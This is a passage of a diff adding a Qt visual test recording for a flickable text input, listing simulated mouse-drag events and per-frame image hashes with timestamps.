+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 18
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2480
+        hash: "541acf0d74762064d970506a40f6600b"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 20
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2496
+        hash: "956939b887f2bb0d45400214685f1fac"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 21
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2512
+        hash: "956939b887f2bb0d45400214685f1fac"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 22
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2528
+        hash: "3eff05a088e55df16f0b30546ad8c87f"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 23
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2544
+        hash: "3eff05a088e55df16f0b30546ad8c87f"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 25
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2560
+        hash: "5b0488fc2a7f840f73d4fc9d17a5a738"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 27
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2576
+        hash: "e17d039213c12708ff378789705e281a"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 28
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2592
+        hash: "2e2eaab559d0dd7543c2e6e17e0f7740"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 30
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2608
+        hash: "49a9baad5178009409e28618a4132544"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2624
+        hash: "49a9baad5178009409e28618a4132544"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 32
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2640
+        hash: "a867fe835626e562d5e060c0b2bc4ea3"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 33
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 34
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2656
+        hash: "1479e0feffdff866bfd14cbbf76017c7"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 35
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2672
+        hash: "1479e0feffdff866bfd14cbbf76017c7"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 36
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 37
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2688
+        hash: "dfa99d1eee5ed8d2913c0e603be3ad0e"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 38
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2704
+        hash: "b55abbe5e7d2c3f5cdaf6dcf5a12c00a"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 40
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2720
+        hash: "46be0cd1b01d80de8e9d8cd78364fdd4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 41
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2736
+        hash: "46be0cd1b01d80de8e9d8cd78364fdd4"
+    }
+    Frame {
+        msec: 2752
+        hash: "46be0cd1b01d80de8e9d8cd78364fdd4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 17; y: 42
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2768
+        hash: "c9ec87a419171b4d6311a36c952eaef1"
+    }
+    Frame {
+        msec: 2784
+        hash: "c9ec87a419171b4d6311a36c952eaef1"
+    }
+    Frame {
+        msec: 2800
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 2816
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 2832
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 2848
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 2864
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 2880
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 2896
+        image: "flickableInput.3.png"
+    }
+    Frame {
+        msec: 2912
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 2928
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 2944
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 2960
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 2976
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 2992
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 3008
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 17; y: 42
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3024
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 3040
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 3056
+        hash: "34cb0a13417b38ff6c78a98a128f1b40"
+    }
+    Frame {
+        msec: 3072
+        hash: "09201585ad57e87efda13c469e1bc95d"
+    }
+    Frame {
+        msec: 3088
+        hash: "09201585ad57e87efda13c469e1bc95d"
+    }
+    Frame {
+        msec: 3104
+        hash: "b816b96270a846ed5776e6f53d507eb8"
+    }
+    Frame {
+        msec: 3120
+        hash: "6ee997c78cadb4357b30db81acf4ee40"
+    }
+    Frame {
+        msec: 3136
+        hash: "abbab9e07614915a49fc8f30242932a7"
+    }
+    Frame {
+        msec: 3152
+        hash: "47f0d0fe751a8ad3dd3f6341d76c929d"
+    }
+    Frame {
+        msec: 3168
+        hash: "0304cbed0c52d5486df52312898fe81d"
+    }
+    Frame {
+        msec: 3184
+        hash: "6ac82afa8805f1bdb4c67a2f1a1aff32"
+    }
+    Frame {
+        msec: 3200
+        hash: "4cc6db0a1dbe6c70d5e2dfe60fe70a51"
+    }
+    Frame {
+        msec: 3216
+        hash: "cf04ff1b13f5aa36470fd8ae23523153"
+    }
+    Frame {
+        msec: 3232
+        hash: "20fcdfd24f21125d61ac45cbe94e48a7"
+    }
+    Frame {
+        msec: 3248
+        hash: "e017109961b5e6c6701c3045f284ebf7"
+    }
+    Frame {
+        msec: 3264
+        hash: "e017109961b5e6c6701c3045f284ebf7"
+    }
+    Frame {
+        msec: 3280
+        hash: "c2a770b8c95959f4abf91420c0a3e8b2"
+    }
+    Frame {
+        msec: 3296
+        hash: "6865c870740497e31dfeb91e09737206"
+    }
+    Frame {
+        msec: 3312
+        hash: "6865c870740497e31dfeb91e09737206"
+    }
+    Frame {
+        msec: 3328
+        hash: "6865c870740497e31dfeb91e09737206"
+    }
+    Frame {
+        msec: 3344
+        hash: "6865c870740497e31dfeb91e09737206"
+    }
+    Frame {
+        msec: 3360
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3376
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3392
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3408
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3424
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3440
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3456
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3472
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3488
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3504
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3520
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3536
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3552
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3568
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3584
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3600
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3616
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3632
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3648
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3664
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3680
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3696
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3712
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3728
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3744
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3760
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3776
+        hash: "7b10e4abcc38d2359bb253f8477858e6"
+    }
+    Frame {
+        msec: 3792
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 3808
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 3824
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 3840
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 3856
+        image: "flickableInput.4.png"
+    }
+    Frame {
+        msec: 3872
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 3888
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 3904
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 3920
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 3936
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Frame {
+        msec: 3952
+        hash: "a5480e4c53bbd8c58aa2d574c7644871"
+    }
+    Mouse {
+        type: 2
+        button: 1
+        buttons: 1
+        x: 12; y: 24
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3968
+        hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+    }
+    Frame {
+        msec: 3984
+        hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+    }
+    Frame {
+        msec: 4000
+        hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+    }
+    Frame {
+        msec: 4016
+        hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+    }
+    Frame {
+        msec: 4032
+        hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+    }
+    Frame {
+        msec: 4048
+        hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 13; y: 24
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4064
+        hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 16; y: 24
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 20; y: 24
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4080
+        hash: "b6dd7639973f6ee654a7ab6dec2fabbe"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 23; y: 24
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 27; y: 25
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4096
+        hash: "ab2ea5988d2b3288d3c57369f68933dc"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 31; y: 25
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 36; y: 25
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4112
+        hash: "986834600427959d170d547a1c5ecce0"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 41; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 47; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4128
+        hash: "52847e87c1fef2d7357c86abb0944df4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 52; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 58; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4144
+        hash: "bc68a47163712646cf8439459fb0d100"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 62; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 66; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4160
+        hash: "9e9f66e9545c77a2e7ee02d46acd102e"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 72; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 76; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4176
+        hash: "4e9e7500185499c5a5f9d65e0e9406a0"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 80; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 83; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4192
+        hash: "550d6c645bf694c544734d67e2ae5ac3"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 87; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 90; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4208
+        hash: "0736bab3f9c1cec0f944003bebe3d499"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 94; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 97; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4224
+        hash: "efffb9f6d6a7dacf297530b1cb68a713"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 100; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 103; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4240
+        hash: "d5458a8dd8a9bf22e67439c9d8d9c366"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 106; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 109; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4256
+        hash: "2d30acf6dc0e186577bd6f7ce858ab92"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 112; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 115; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4272
+        hash: "e1a926cc5f7a49c9320a8d49c8a1bb3f"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 117; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 120; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4288
+        hash: "cfc9c0bca9e269887ad5c67cc684b753"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 122; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 124; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4304
+        hash: "7b561e04ef93399460eb3b4b850c3cab"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 126; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 127; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4320
+        hash: "1c17d036e08b24b47239f9a38df3d87d"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 128; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 130; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4336
+        hash: "3ec95ad7622048b68a53cfd3fdeac999"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 132; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 133; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4352
+        hash: "1e20084ed70b7423885a2d0f06fba660"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 134; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 136; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4368
+        hash: "f19e136b3c3d57d8b8e63c64b17c29e4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 137; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4384
+        hash: "f19e136b3c3d57d8b8e63c64b17c29e4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 138; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4400
+        hash: "894d439a8463cf460e5a66fdcf51a1b5"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 139; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4416
+        hash: "894d439a8463cf460e5a66fdcf51a1b5"
+    }
+    Frame {
+        msec: 4432
+        hash: "894d439a8463cf460e5a66fdcf51a1b5"
+    }
+    Frame {
+        msec: 4448
+        hash: "894d439a8463cf460e5a66fdcf51a1b5"
+    }
+    Frame {
+        msec: 4464
+        hash: "03c99addee96254d19db72746f1bef11"
+    }
+    Frame {
+        msec: 4480
+        hash: "03c99addee96254d19db72746f1bef11"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 140; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4496
+        hash: "cb087b0af44fd7e767b3ff5da1f49790"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 142; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 143; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4512
+        hash: "8c36fa6a9c8bfb66e272c8628aec7077"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 145; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 146; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4528
+        hash: "971154dba58b18b1d82999f5b6a40cc1"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 149; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 151; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4544
+        hash: "253397b603f99f7d092dda82d794e944"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 153; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 155; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4560
+        hash: "f8ded9e6f36a35a73fbe2264321838ca"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 158; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 161; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4576
+        hash: "83b9cec7bbe65ba9d68b089211296116"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 164; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 166; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4592
+        hash: "525ffec3a2d2a7a9e0c82f2c98b09ea0"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 168; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 171; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4608
+        hash: "c4fb902f66abebb6b7c3489a073e17d4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 172; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 173; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4624
+        hash: "0f4526d9f840c0a95e9d145c9822d6e1"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 174; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4640
+        hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+    }
+    Frame {
+        msec: 4656
+        hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 175; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4672
+        hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 176; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4688
+        hash: "d6f7a50416c3805aeafbdf55905e8276"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 177; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4704
+        hash: "d6f7a50416c3805aeafbdf55905e8276"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 178; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4720
+        hash: "7586c3d3f46eba4a1abe2fe223e7fde2"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 179; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4736
+        hash: "7586c3d3f46eba4a1abe2fe223e7fde2"
+    }
+    Frame {
+        msec: 4752
+        hash: "7586c3d3f46eba4a1abe2fe223e7fde2"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 180; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 4768
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 4784
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 4800
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 4816
+        image: "flickableInput.5.png"
+    }
+    Frame {
+        msec: 4832
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 4848
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 4864
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 4880
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 4896
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 4912
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 4928
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 4944
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 4960
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 4976
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 4992
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5008
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5024
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5040
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5056
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5072
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5088
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5104
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5120
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5136
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5152
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5168
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5184
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5200
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5216
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5232
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5248
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5264
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5280
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5296
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5312
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5328
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5344
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5360
